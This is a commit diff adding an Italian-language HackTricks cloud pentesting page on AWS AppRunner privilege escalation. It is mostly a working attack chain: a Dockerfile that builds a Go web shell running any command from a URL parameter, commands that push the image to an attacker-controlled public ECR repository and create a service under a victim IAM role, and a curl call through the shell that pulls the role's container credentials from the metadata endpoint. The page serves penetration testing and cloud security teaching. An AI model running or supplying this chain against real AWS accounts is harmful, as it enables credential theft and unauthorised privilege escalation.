mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 05:46:25 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,72 @@
|
||||
# AWS - AppRunner Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppRunner
|
||||
|
||||
### `iam:PassRole`, `apprunner:CreateService`
|
||||
|
||||
Un attaccante con questi permessi può creare un servizio AppRunner con un ruolo IAM allegato, potenzialmente elevando i privilegi accedendo alle credenziali del ruolo.
|
||||
|
||||
L'attaccante prima crea un Dockerfile che funge da web shell per eseguire comandi arbitrari sul contenitore AppRunner.
|
||||
```Dockerfile
|
||||
FROM golang:1.24-bookworm
|
||||
WORKDIR /app
|
||||
RUN apt-get update && apt-get install -y ca-certificates curl
|
||||
RUN cat <<'EOF' > main.go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
|
||||
output, err := command.CombinedOutput()
|
||||
if err != nil {
|
||||
fmt.Fprint(w, err.Error(), output)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprint(w, string(output))
|
||||
})
|
||||
http.ListenAndServe("0.0.0.0:3000", nil)
|
||||
}
|
||||
EOF
|
||||
RUN go mod init test && go build -o main .
|
||||
EXPOSE 3000
|
||||
CMD ["./main"]
|
||||
```
|
||||
Quindi, carica questa immagine in un repository ECR.
|
||||
Caricando l'immagine in un repository pubblico in un account AWS controllato dall'attaccante, è possibile l'escalation dei privilegi anche se l'account della vittima non ha permessi per manipolare ECR.
|
||||
```sh
|
||||
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
|
||||
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
|
||||
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
|
||||
docker push $IMAGE_NAME
|
||||
docker logout public.ecr.aws
|
||||
```
|
||||
Successivamente, l'attaccante crea un servizio AppRunner configurato con questa immagine di web shell e il ruolo IAM che desidera sfruttare.
|
||||
```bash
|
||||
aws apprunner create-service \
|
||||
--service-name malicious-service \
|
||||
--source-configuration '{
|
||||
"ImageRepository": {
|
||||
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
|
||||
"ImageRepositoryType": "ECR_PUBLIC",
|
||||
"ImageConfiguration": { "Port": "3000" }
|
||||
}
|
||||
}' \
|
||||
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
|
||||
--query Service.ServiceUrl
|
||||
```
|
||||
Dopo aver atteso il completamento della creazione del servizio, utilizza la shell web per recuperare le credenziali del contenitore e ottenere i permessi del ruolo IAM associato ad AppRunner.
|
||||
```sh
|
||||
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
|
||||
```
|
||||
**Impatto Potenziale:** Escalation diretta dei privilegi a qualsiasi ruolo IAM che può essere associato ai servizi AppRunner.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user